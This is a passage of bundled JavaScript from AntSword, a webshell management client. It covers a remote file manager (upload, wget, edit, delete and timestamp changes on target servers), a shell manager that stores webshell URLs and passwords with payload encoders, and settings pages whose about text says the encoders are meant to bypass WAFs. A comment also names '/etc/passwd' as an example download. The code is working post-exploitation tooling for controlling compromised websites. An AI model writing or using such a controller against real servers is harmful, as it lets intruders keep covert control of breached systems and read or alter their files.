grid.enableMultiselect(true);
// grid.enableMultiline(true);
// grid右键
// 空白数据右键fix
$('.objbox').on('contextmenu', function (e) {
e.target.nodeName === 'DIV' && grid.callEvent instanceof Function && antSword['tabbar'].getActiveTab().startsWith('tab_filemanager_') ? grid.callEvent('onRightClick', [-1, -1, e]) : null;
});
$('.objbox').on('click', function (e) {
bmenu.hide();
});
grid.attachEvent('onRightClick', function (id, lid, event) {
var _this = this;
// 获取选中ID列表
var _ids = (this.getSelectedId() || '').split(',');
// 如果是空白右键
if (id === -1) {
_ids = [];
}
// 如果没有选中？则选中右键对应选项
else if (_ids.length === 1) {
this.selectRowById(id);
_ids = [id];
};
var ids = [];
_ids.map(function (_) {
ids.push(_this.getRowAttribute(_, 'fname'));
});
id = ids[0] || '';
// 获取剪贴板内容
var _Clipboard = [];
var _Clipboard_num = 0;
for (var c in self.Clipboard) {
_Clipboard.push({
text: c,
icon: 'fa fa-' + (c.endsWith('/') ? 'folder-o' : 'file-o'),
action: function (source, name) {
return function () {
manager.pasteFile(source, name);
};
}(self.Clipboard[c], c)
});
_Clipboard_num++;
if (!(_Clipboard_num % 5)) {
_Clipboard.push({ divider: true });
};
}
// 清除最后的divider
// if (_Clipboard.length % 5 && _Clipboard_num > 5) { _Clipboard.pop() };
// all item
if (_Clipboard.length > 0) {
_Clipboard.unshift({ divider: true });
_Clipboard.unshift({
text: LANG['grid']['contextmenu']['paste']['all'],
count: _Clipboard_num,
icon: 'fa fa-th-list',
action: function action() {
_Clipboard.map(function (c) {
if (c['divider'] || c['count'] || c['text'] === LANG['grid']['contextmenu']['paste']['clear']['title']) {
return;
};
var name = c['text'];
var source = self.Clipboard[name];
manager.pasteFile(source, name);
});
}
});
// 清空剪贴板
!_Clipboard[_Clipboard.length - 1].divider ? _Clipboard.push({ divider: true }) : 0;
_Clipboard.push({
text: LANG['grid']['contextmenu']['paste']['clear']['title'],
icon: 'fa fa-trash-o',
action: function action() {
self.Clipboard = {};
toastr.info(LANG['grid']['contextmenu']['paste']['clear']['info'], LANG_T['info']);
}
});
};
var isFolder = id.endsWith('/');
// 可编辑文件后缀
var isEdited = false;
'php,asp,aspx,jsp,cfm,js,css,html,py,sh,bat,txt,log,ini,conf,sql'.split(',').map(function (e) {
id.toLowerCase().endsWith('.' + e) ? isEdited = true : 0;
});
// 可预览文件后缀
var isPreviewed = false;
'jpg,png,gif,bmp,ico,mp4,mp3,wav,avi,rmvb'.split(',').map(function (e) {
id.toLowerCase().endsWith('.' + e) ? isPreviewed = true : 0;
});
var menu = [{ text: LANG['grid']['contextmenu']['refresh'], icon: 'fa fa-refresh', action: function action() {
self.refreshPath();
} }, { divider: true }, { text: LANG['grid']['contextmenu']['wget'], icon: 'fa fa-cloud-download', action: manager.wgetFile.bind(manager) }, { text: LANG['grid']['contextmenu']['upload'], icon: 'fa fa-upload', action: manager.uploadFile.bind(manager) }, { text: LANG['grid']['contextmenu']['download'], icon: 'fa fa-download', disabled: isFolder || !id || ids.length > 1, action: function action() {
manager.downloadFile(id, _this.getRowAttribute(_ids[0], 'fsize'));
} }, { divider: true }, { text: LANG['grid']['contextmenu']['copy']['title'], icon: 'fa fa-copy', disabled: !id, action: function action() {
// 如果只有一个id，则显示id名称，否则显示ids数量
ids.map(function (id) {
var path = manager.path + id;
// 判断是否已经复制
if (id in self.Clipboard) {
return toastr.warning(LANG['grid']['contextmenu']['copy']['warning'](id), LANG_T['warning']);
};
self.Clipboard[id] = path;
toastr.info(LANG['grid']['contextmenu']['copy']['info'](id), LANG_T['info']);
});
} }, { text: LANG['grid']['contextmenu']['paste']['title'], icon: 'fa fa-paste', disabled: _Clipboard_num === 0, subMenu: _Clipboard },
// { text: LANG['grid']['contextmenu']['preview'], icon: 'fa fa-eye', disabled: !id || ids.length > 1 || !isPreviewed, action: () => {
// manager.previewFile(id);
// } },
{ divider: true }, { text: LANG['grid']['contextmenu']['edit'], icon: 'fa fa-edit', disabled: /*!isEdited || */!id || ids.length > 1 || isFolder, action: function action() {
manager.editFile(id);
} }, { text: LANG['grid']['contextmenu']['delete'], icon: 'fa fa-trash-o', disabled: !id, action: function action() {
manager.deleteFile(ids);
} }, { text: LANG['grid']['contextmenu']['rename'], icon: 'fa fa-font', disabled: !id || ids.length > 1, action: function action() {
manager.renameFile(id);
} }, { text: LANG['grid']['contextmenu']['modify'], icon: 'fa fa-clock-o', disabled: !id || ids.length > 1, action: function action() {
// manager.retimeFile(id, this.rowsAr[id]['cells'][2].innerText);
manager.retimeFile(id, _this.getRowAttribute(_ids[0], 'data')[2]);
} }, { divider: true }, { text: LANG['grid']['contextmenu']['create']['title'], icon: 'fa fa-plus-circle', subMenu: [{ text: LANG['grid']['contextmenu']['create']['folder'], icon: 'fa fa-folder-o', action: manager.createFolder.bind(manager) }, { text: LANG['grid']['contextmenu']['create']['file'], icon: 'fa fa-file-o', action: manager.createFile.bind(manager) }] }];
bmenu(menu, event);
return true;
});
// 选择事件
grid.attachEvent('onRowSelect', function (id, lid, event) {
bmenu.hide();
});
// 双击::列出数据&&查看/编辑/下载文件(支持查看程序(png|jpg|gif..)则查看
//支持编辑文件(php,js,txt..)则启动编辑器，如果是二进制或压缩等文件(exe,dll,zip,rar..)则下载)
grid.attachEvent('onRowDblClicked', function (id, lid, event) {
var fname = grid.getRowAttribute(id, 'fname');
if (!fname.endsWith('/')) {
// grid.callEvent('onRightClick', [id, lid, event]);
} else {
self.gotoPath(fname);
}
});
grid.init();
this.grid = grid;
this.cell = cell;
this.toolbar = toolbar;
this.manager = manager;
// 剪贴板
this.Clipboard = {};
}
// 刷新当前目录
// 如果传递路径参数，则刷新该路径下的文件，不跳转，否则刷新&&跳转
_createClass(Files, [{
key: 'refreshPath',
value: function refreshPath(p) {
var path = p || this.manager.path;
// delete this.manager.cache[path];
this.manager.cache.del('filemanager-files-' + new Buffer(path).toString('base64'));
// 删除文件夹缓存
for (var _ in this.manager.folder.cache) {
if (_.indexOf(path) === 0 && _ != path) {
delete this.manager.folder.cache[_];
}
}
if (!p) {
this.gotoPath('.');
};
}
// 跳转目录
}, {
key: 'gotoPath',
value: function gotoPath(path) {
var self = this;
this.cell.progressOn();
try {
this.manager.getFiles(path, function (files) {
self.parse(files);
self.manager.folder.parse(files);
// self.cell.progressOff();
});
} catch (e) {
toastr.error(e, LANG_T['error']);
self.cell.progressOff();
}
}
// 解析数据
}, {
key: 'parse',
value: function parse(files) {
var data = [];
var self = this;
var _id = 1;
files.map(function (file) {
if (!file['name'] || ['./', '../'].indexOf(file['name']) != -1) {
return;
};
data.push({
id: _id,
fname: file['name'],
fsize: parseInt(file['size']),
data: [self.fileIcon(file['name']), file['name'].replace(/\/$/, ''), file['time'], self.fileSize(parseInt(file['size'])), file['attr']]
});
_id++;
});
this.cell.setText('<i class="fa fa-file-o"></i> ' + LANG['title'] + ' (' + data.length + ')');
this.grid.clearAll();
this.grid.parse({
'rows': data
}, 'json');
// 设置path路径
this.toolbar.getInput('path').value = this.manager.path;
this.cell.progressOff();
this.reloadToolbar();
}
// 文件大小计算
}, {
key: 'fileSize',
value: function fileSize(t) {
var i = false;
var b = ["b", "Kb", "Mb", "Gb", "Tb", "Pb", "Eb"];
for (var q = 0; q < b.length; q++) {
if (t > 1024) t = t / 1024;else if (i === false) i = q;
}if (i === false) i = b.length - 1;
return Math.round(t * 100) / 100 + " " + b[i];
}
// 返回文件图标
}, {
key: 'fileIcon',
value: function fileIcon(name) {
var icons = {};
var _icons = {
'exe,dll': 'file',
'jpg,png,gif,ico,bmp': 'file-image-o',
'mp4,mpeg,avi,rm,rmvb': 'file-movie-o',
'mp3,mid,wav': 'file-sound-o',
'pdf': 'file-pdf-o',
'ppt': 'file-powerpoint-o',
'xls,xlsx': 'file-excel-o',
'doc,docx': 'file-word-o',
'zip,tar,7z,gz,rar': 'file-archive-o',
'txt,ttf,tiff,ini,log,chm,conf,cfg': 'file-text-o',
'php,asp,jsp,sql,cfm,aspx,html,js,py,rb,pl,go,css,less,jsx,sass,xml,sh,bat,h,cpp,c,m': 'file-code-o'
};
var _loop = function _loop(_) {
var _arr = _.split(',');
_arr.map(function (a) {
icons[a] = _icons[_];
});
};
for (var _ in _icons) {
_loop(_);
}
// 默认图标
var icon = 'file-o';
// 判断是否为文件夹
if (name.endsWith('/')) {
icon = 'folder-o';
} else {
var _2 = name.split('.');
var ext = _2[_2.length - 1].toLowerCase();
icon = icons[ext] || icon;
};
return '<i class="fa fa-' + icon + ' fa-lg"></i>';
}
}]);
return Files;
}();
exports.default = Files;
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(5).Buffer))
/***/ },
/* 82 */
/***/ function(module, exports) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
//
// 任务管理 模块
//
/*
用法：
const task = new Task('download', 'http://xx.com/path/to => /tmp/');
task.update('start download..');
task.update('100%');
task.end('download success!');
*/
var LANG_T = antSword['language']['toastr'];
var LANG = antSword['language']['filemanager']['tasks'];
var Tasks = function () {
function Tasks(cell, manager) {
_classCallCheck(this, Tasks);
cell.setText('<i class="fa fa-tasks"></i> ' + LANG['title']);
cell.setHeight(250);
// 创建表格
var grid = cell.attachGrid();
grid.setHeader('\n ' + LANG['grid']['header']['name'] + ',\n ' + LANG['grid']['header']['desc'] + ',\n ' + LANG['grid']['header']['status'] + ',\n ' + LANG['grid']['header']['stime'] + ',\n ' + LANG['grid']['header']['etime'] + '\n ');
grid.setColTypes("ro,ro,ro,ro,ro");
grid.setInitWidths("100,*,150,150,150");
grid.setColAlign("left,left,left,left,left");
grid.init();
this.grid = grid;
this.cell = cell;
this.manager = manager;
}
// const task = tasks.new('download', '/etc/passwd', '0%');
// task.update('20%');
// task.end('100%');
_createClass(Tasks, [{
key: 'new',
value: function _new(name, desc, progress) {
// 创建一个随机ID
var hash = String(+new Date() + Math.random()).replace('.', '_');
this.grid.addRow(hash, [name, desc, '<div id="filemanager_progress_' + hash + '">-</div>', new Date().format('yyyy-MM-dd hh:mm:ss'), '<div id="filemanager_end_time_' + hash + '">-</div>'], 0);
var API = {
// 更新任务状态
update: function update(progress) {
$('#filemanager_progress_' + hash).text(progress);
},
// 任务结束
end: function end(progress) {
$('#filemanager_progress_' + hash).text(progress || '100%');
$('#filemanager_end_time_' + hash).text(new Date().format('yyyy-MM-dd hh:mm:ss'));
},
// 任务成功
success: function success(progress) {
API['end'](progress);
$('#filemanager_progress_' + hash).css('color', 'green');
},
// 任务失败
failed: function failed(progress) {
API['end'](progress);
$('#filemanager_progress_' + hash).css('color', 'red');
}
};
return API;
}
}]);
return Tasks;
}();
exports.default = Tasks;
/***/ },
/* 83 */
/***/ function(module, exports) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
//
// 左侧目录 模块
//
var LANG_T = antSword['language']['toastr'];
var LANG = antSword['language']['filemanager']['folder'];
var Folder = function () {
// 需要参数
// 1.cell: 左侧layout.cell对象
function Folder(cell, manager) {
_classCallCheck(this, Folder);
cell.setWidth(250);
cell.setText('<i class="fa fa-folder-o"></i> ' + LANG['title']);
// 创建tree
var tree = cell.attachTree();
// tree事件
tree.attachEvent('onClick', function (id) {
manager.files.gotoPath(id);
});
this.tree = tree;
this.cell = cell;
this.cache = {};
this.manager = manager;
}
_createClass(Folder, [{
key: 'parse',
value: function parse(files) {
var self = this;
// 解析测试
var path = this.manager.path.replace(/\/$/, '');
// 解析盘符
this.manager.devices.map(function (_) {
self.cache[_] = {};
self.tree.deleteItem(_);
});
// 1. 分解当前路径
var curPath = '';
path.split('/').map(function (p) {
curPath += p + '/';
// 添加到缓存
self.cache[curPath] = 0;
});
// 2. 解析当前子目录
files.map(function (f) {
var _ = f['name'];
if (!_.endsWith('/') || ['./', '../'].indexOf(_) !== -1) {
return;
};
self.cache['' + curPath + _] = 0;
});
// 3. 解析缓存为树形菜单虚拟对象
// /var/www/html 根据/分割为数组，循环，相加，增加到虚拟缓存
var vscache = {};
var parseObj = function parseObj(o, p) {
var start = p.substr(0, p.indexOf('/')) + '/';
var end = p.substr(start.length);
o[start] = o[start] || {};
if (end.length > 0) {
parseObj(o[start], end);
}
};
for (var c in self.cache) {
parseObj(vscache, c);
}
// 解析为树形菜单数据
var parseItem = function parseItem(obj, path) {
var _arr = [];
for (var _ in obj) {
var _path = path + _;
var _obj = {
id: _path,
text: _.length === 1 || _.endsWith(':/') && _.length === 3 ? _ : _.replace(/\/$/, '')
};
var _result = parseItem(obj[_], _path);
if (_result) {
_obj['item'] = _result;
};
if (_path === self.manager.path) {
_obj['open'] = 1;
_obj['select'] = 1;
};
_arr.push(_obj);
}
return _arr;
};
var items = parseItem(vscache, '');
this.tree.parse({
id: 0,
item: items
}, 'json');
this.cell.progressOff();
}
}]);
return Folder;
}();
exports.default = Folder;
/***/ },
/* 84 */
/***/ function(module, exports) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
//
// 默认支持编码列表
//
var ENCODES = ['GBK', 'UTF8', 'BIG5', 'GB2312', 'Euc-KR', 'Euc-JP', 'Shift_JIS', 'ISO-8859-1', 'Windows-874', 'Windows-1251'];
exports.default = ENCODES;
/***/ },
/* 85 */
/***/ function(module, exports) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
//
// 插件中心
//
var LANG = antSword['language']['plugin'];
var LANG_T = antSword['language']['toastr'];
var Plugin = function () {
function Plugin() {
_classCallCheck(this, Plugin);
antSword['menubar'].reg('plugin', this.open.bind(this));
this.homepage = 'http://u.uyu.us/';
}
_createClass(Plugin, [{
key: 'open',
value: function open() {
var tabbar = antSword['tabbar'];
// 判断是否已经打开
if (tabbar.tabs('tab_plugin')) {
return tabbar.tabs('tab_plugin').setActive();
};
tabbar.addTab('tab_plugin', '<i class="fa fa-cart-arrow-down"></i>', null, null, true, true);
var cell = tabbar.tabs('tab_plugin');
//
// @创建浏览器工具栏:后退、前进、刷新、主页、停止
//
var toolbar = cell.attachToolbar();
toolbar.loadStruct([{ id: 'back', type: 'button', text: '', icon: 'chevron-left' }, { id: 'forward', type: 'button', text: '', icon: 'chevron-right' }, { id: 'refresh', type: 'button', text: '', icon: 'refresh' }, { id: 'home', type: 'button', text: '', icon: 'home' }, { id: 'stop', type: 'button', text: '', icon: 'remove' }]);
// 开始加载web
cell.progressOn();
var frame = cell.attachURI(this.homepage);
frame.addEventListener('did-start-loading', cell.progressOn.bind(cell));
frame.addEventListener('did-finish-load', cell.progressOff.bind(cell));
frame.addEventListener('did-fail-load', function (err) {
cell.progressOff();
// cell.close();
var err_msg = 'Code: ' + err['errorCode'];
err_msg += err['errorDescription'] ? '<br/>Desc: ' + err['errorDescription'] : '';
return toastr.error(LANG['error'](err_msg), LANG_T['error']);
});
// 工具栏点击事件
toolbar.attachEvent('onClick', function (id) {
switch (id) {
case 'back':
frame.goBack();
break;
case 'forward':
frame.goForward();
break;
case 'refresh':
frame.reloadIgnoringCache();
break;
case 'home':
frame.goToIndex(0);
break;
case 'stop':
frame.stop();
break;
}
});
}
}]);
return Plugin;
}();
exports.default = Plugin;
/***/ },
/* 86 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); //
// 设置模块
//
var _about = __webpack_require__(87);
var _about2 = _interopRequireDefault(_about);
var _update = __webpack_require__(88);
var _update2 = _interopRequireDefault(_update);
var _language = __webpack_require__(89);
var _language2 = _interopRequireDefault(_language);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
var Settings = function () {
function Settings() {
var _this = this;
_classCallCheck(this, Settings);
antSword['menubar'].reg('settings', this.open.bind(this));
['about', 'update', 'language'].map(function (_) {
antSword['menubar'].reg('settings-' + _, _this.setActive.bind(_this, _));
});
}
_createClass(Settings, [{
key: 'open',
value: function open() {
var tabbar = antSword['tabbar'];
// 判断是否已经打开
if (tabbar.tabs('tab_about')) {
return tabbar.tabs('tab_about').setActive();
};
tabbar.addTab('tab_about', '<i class="fa fa-cog"></i>', null, null, true, true);
var cell = tabbar.tabs('tab_about');
var sidebar = cell.attachSidebar({
template: 'text',
width: 200
});
new _about2.default(sidebar);
new _language2.default(sidebar);
new _update2.default(sidebar);
this.cell = cell;
this.sidebar = sidebar;
}
// @设置当前激活项
}, {
key: 'setActive',
value: function setActive(id) {
this.open();
this.sidebar.items(id).setActive();
}
}]);
return Settings;
}();
exports.default = Settings;
/***/ },
/* 87 */
/***/ function(module, exports) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
var LANG = antSword['language']['settings'];
var About = function About(sidebar) {
_classCallCheck(this, About);
sidebar.addItem({
id: 'about',
selected: true,
text: '<i class="fa fa-heart-o"></i> ' + LANG['about']['title']
});
var cell = sidebar.cells('about');
cell.attachHTMLString('\n <div align="center">\n <img src="../static/imgs/logo.png" style="width: 30%;-webkit-user-select: none;" />\n </div>\n <div style="padding: 10px; font-family: sans-serif;text-indent: 2em;">\n <p><strong>中国蚁剑是一款开源的网站管理工具，它主要面向于合法授权的渗透测试网络安全爱好者以及常规的网站操作管理人员，任何人不得用于非法用途以及盈利目的，否则后果自行承担。</strong></p>\n <p>中国蚁剑采用Electron作为外壳，ES6作为前端框架语言。完全模块化的代码架构，让你轻易地对各种功能进行最大化自由的修改添加。目前支持三大主流操作系统：windows、linux、osx，支持三大主流网站脚本：php、asp、aspx，以及自定义数据格式的custom脚本。除此之外，你可以参考代码轻易地修改添加支持脚本类型，还可以编写编码模块对源数据进行编码加密等处理操作，以绕过各种WAF以及保护自己的数据安全。</p>\n <p>当前支持三大主模块功能：文件管理、数据库管理、虚拟终端操作，以及正在开发中的插件管理功能，完全满足你的需求。<strong>目前脚本代码均来源于伟大的中国菜刀，本人只是进行了解密以及一些改动。在此向中国菜刀致敬！</strong></p>\n <hr style="border:0;width:95%;border-bottom: solid 1px #CCC;" />\n <ul style="list-style-type: none;padding: 0;margin: 0;">\n <li><strong>微博：</strong>http://weibo.com/antoor</li>\n <li><strong>交流群：</strong>130993112</li>\n </div>\n ');
};
exports.default = About;
/***/ },
/* 88 */
/***/ function(module, exports) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
//
// 检查更新
//
var LANG = antSword['language']['settings']['update'];
var Update = function Update(sidebar) {
_classCallCheck(this, Update);
sidebar.addItem({
id: 'update',
text: '<i class="fa fa-cloud-download"></i> ' + LANG['title']
});
var cell = sidebar.cells('update');
// toolbar
var toolbar = cell.attachToolbar();
toolbar.loadStruct([{ id: 'check', type: 'button', text: LANG['toolbar']['check'], disabled: true, icon: 'check-square-o' }, { type: 'separator' }]);
// status
cell.attachHTMLString('\n\n 当前版本：1.0.0\n <br/>\n 暂不支持在线更新！\n <br />\n 请访问<strong style="color:#0099FF">https://github.com/antoor/antSword</strong>获取最新版本！\n ');
};
exports.default = Update;
/***/ },
/* 89 */
/***/ function(module, exports) {
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
//
// 语言设置
//
var LANG = antSword['language']['settings']['language'];
var LANG_T = antSword['language']['toastr'];
var Language = function Language(sidebar) {
_classCallCheck(this, Language);
sidebar.addItem({
id: 'language',
text: '<i class="fa fa-language"></i> ' + LANG['title']
});
var cell = sidebar.cells('language');
// 工具栏
var toolbar = cell.attachToolbar();
toolbar.loadStruct([{ id: 'save', type: 'button', text: LANG['toolbar']['save'], icon: 'save' }, { type: 'separator' }]);
// 表单
var _language = localStorage.getItem('language') || 'en';
var form = cell.attachForm([{ type: 'settings', position: 'label-left', labelWidth: 100, inputWidth: 150 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [{ type: 'combo', label: LANG['form']['label'], readonly: true, name: 'language', options: [{ text: LANG['form']['zh'], value: 'zh', selected: _language === 'zh' }, { text: LANG['form']['en'], value: 'en', selected: _language === 'en' }] }] }], true);
// 工具栏点击事件
toolbar.attachEvent('onClick', function (id) {
switch (id) {
case 'save':
var language = form.getValues()['language'];
// 保存设置
localStorage.setItem('language', language);
toastr.success(LANG['success'], LANG_T['success']);
// 重启应用
layer.confirm(LANG['confirm']['content'], {
icon: 2, shift: 6,
title: LANG['confirm']['title']
}, function (_) {
location.reload();
});
break;
}
});
};
exports.default = Language;
/***/ },
/* 90 */
/***/ function(module, exports, __webpack_require__) {
//
// Shell管理模块
//
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol ? "symbol" : typeof obj; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _list = __webpack_require__(91);
var _list2 = _interopRequireDefault(_list);
var _category = __webpack_require__(93);
var _category2 = _interopRequireDefault(_category);
var _encodes = __webpack_require__(84);
var _encodes2 = _interopRequireDefault(_encodes);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
var LANG_T = antSword['language']['toastr'];
var LANG = antSword['language']['shellmanager'];
var ShellManager = function () {
function ShellManager() {
_classCallCheck(this, ShellManager);
// 初始化tabbar
var tabbar = antSword['tabbar'];
tabbar.addTab('tab_shellmanager',
// `<i class="fa fa-list-ul"></i> ${LANG['title']}`,
'<i class="fa fa-th-large"></i>', null, null, true, false);
var cell = tabbar.cells('tab_shellmanager');
var layout = cell.attachLayout('2U');
// 初始化左侧::列表管理
this.list = new _list2.default(layout.cells('a'), this);
// 初始化右侧::目录管理
this.category = new _category2.default(layout.cells('b'), this);
this.cell = cell;
this.win = new dhtmlXWindows();
this.win.attachViewportTo(cell.cell);
// 监听菜单栏消息
antSword['menubar'].reg('shell-add', this.addData.bind(this));
this.loadData();
}
// 清空缓存
_createClass(ShellManager, [{
key: 'clearCache',
value: function clearCache(id) {
layer.confirm(LANG['list']['clearCache']['confirm'], {
icon: 2, shift: 6,
title: '<i class="fa fa-trash"></i> ' + LANG['list']['clearCache']['title']
}, function (_) {
layer.close(_);
var ret = antSword['ipcRenderer'].sendSync('cache-clear', {
id: id
});
if (ret === true) {
toastr.success(LANG['list']['clearCache']['success'], LANG_T['success']);
} else {
toastr.error(LANG['list']['clearCache']['error'](ret['errno'] === -2 ? 'Not cache file.' : ret['errno']), LANG_T['error']);
}
});
}
// 清空所有缓存
}, {
key: 'clearAllCache',
value: function clearAllCache() {
layer.confirm(LANG['list']['clearAllCache']['confirm'], {
icon: 2, shift: 6,
title: '<i class="fa fa-trash"></i> ' + LANG['list']['clearAllCache']['title']
}, function (_) {
layer.close(_);
var ret = antSword['ipcRenderer'].sendSync('cache-clearAll');
if (ret === true) {
toastr.success(LANG['list']['clearAllCache']['success'], LANG_T['success']);
} else {
toastr.error(LANG['list']['clearAllCache']['error'](ret), LANG_T['error']);
}
});
}
// 添加数据
}, {
key: 'addData',
value: function addData() {
var _this = this;
// 判断当前tab是否在主页
if (antSword['tabbar'].getActiveTab() !== 'tab_shellmanager') {
this.cell.setActive();
};
// 初始化窗口
var win = this.createWin({
title: LANG['list']['add']['title'],
width: 450,
height: 350
});
win.denyResize();
// 工具栏
var toolbar = win.attachToolbar();
toolbar.loadStruct([{
id: 'add',
type: 'button',
icon: 'plus-circle',
text: LANG['list']['add']['toolbar']['add']
}, {
type: 'separator'
}, {
id: 'clear',
type: 'button',
icon: 'remove',
text: LANG['list']['add']['toolbar']['clear']
}]);
// 表单对象
var form = win.attachForm([{ type: 'settings', position: 'label-left', labelWidth: 80, inputWidth: 250 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [{ type: 'input', label: LANG['list']['add']['form']['url'], name: 'url', required: true }, { type: 'input', label: LANG['list']['add']['form']['pwd'], name: 'pwd', required: true }, { type: 'combo', label: LANG['list']['add']['form']['encode'], readonly: true, name: 'encode', options: function () {
var ret = [];
_encodes2.default.map(function (_) {
ret.push({
text: _,
value: _,
selected: _ === 'UTF8'
});
});
return ret;
}() }, { type: 'combo', label: LANG['list']['add']['form']['type'], name: 'type', readonly: true, options: function () {
var ret = [];
[{ name: 'php', encoder: ['base64', 'chr'] }, { name: 'asp', encoder: [] }, { name: 'aspx', encoder: [] },
// { name: 'jsp', encoder: [] },
// { name: 'py', encoder: [] },
// { name: 'cfm', encoder: [] },
// { name: 'nodejs', encoder: ['base64', 'aes', 'urlencode'] },
{ name: 'custom', encoder: ['base64', 'hex'] }].map(function (_) {
var obj = {
text: _['name'].toUpperCase(),
value: _['name'],
selected: _['name'] === 'php',
list: [{ type: 'settings', position: 'label-right', offsetLeft: 60, labelWidth: 100 }, { type: 'label', label: LANG['list']['add']['form']['encoder'] }, { type: 'radio', name: 'encoder_' + _['name'], value: 'default', label: 'default', checked: true }]
};
// 编码器对象
_['encoder'].map(function (e) {
obj['list'].push({
type: 'radio',
name: 'encoder_' + _['name'],
value: e,
label: e
});
});
ret.push(obj);
});
return ret;
}() }] }], true);
// toolbar点击
toolbar.attachEvent('onClick', function (id) {
switch (id) {
case 'add':
// 添加数据
// 判断表单数据
if (!form.validate()) {
return toastr.warning(LANG['list']['add']['warning'], LANG_T['warning']);
};
// 解析数据
var data = form.getValues();
win.progressOn();
// 获取编码器
data['encoder'] = data['encoder_' + data['type']] ? data['encoder_' + data['type']] : '';
// 获取分类
data['category'] = _this.category['sidebar'].getActiveItem() || 'default';
var ret = antSword['ipcRenderer'].sendSync('shell-add', data);
// 更新UI
win.progressOff();
if (ret instanceof Object) {
win.close();
toastr.success(LANG['list']['add']['success'], LANG_T['success']);
_this.loadData({
category: data['category']
});
} else {
toastr.error(LANG['list']['add']['error'](ret.toString()), LANG_T['error']);
}
break;
case 'clear':
// 清空表单
form.clear();
break;
}
});
}
// 编辑数据
}, {
key: 'editData',
value: function editData(sid) {
var _this2 = this;
// 获取数据
// const data = antSword['ipcRenderer'].sendSync('shell-find', {
// _id: sid
// })[0];
var data = antSword['ipcRenderer'].sendSync('shell-findOne', sid);
// 初始化窗口
var win = this.createWin({
title: LANG['list']['edit']['title'](data['url']),
width: 450,
height: 350
});
win.setModal(true);
win.denyResize();
// 工具栏
var toolbar = win.attachToolbar();
toolbar.loadStruct([{
id: 'save',
type: 'button',
icon: 'save',
text: LANG['list']['edit']['toolbar']['save']
}, {
type: 'separator'
}, {
id: 'clear',
type: 'button',
icon: 'remove',
text: LANG['list']['edit']['toolbar']['clear']
}]);
// 表单对象
var form = win.attachForm([{ type: 'settings', position: 'label-left', labelWidth: 80, inputWidth: 250 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [{ type: 'input', label: LANG['list']['edit']['form']['url'], name: 'url', required: true, value: data['url'] }, { type: 'password', label: LANG['list']['edit']['form']['pwd'], name: 'pwd', required: true, value: data['pwd'] }, { type: 'combo', label: LANG['list']['edit']['form']['encode'], readonly: true, name: 'encode', options: function () {
var ret = [];
_encodes2.default.map(function (_) {
ret.push({
text: _,
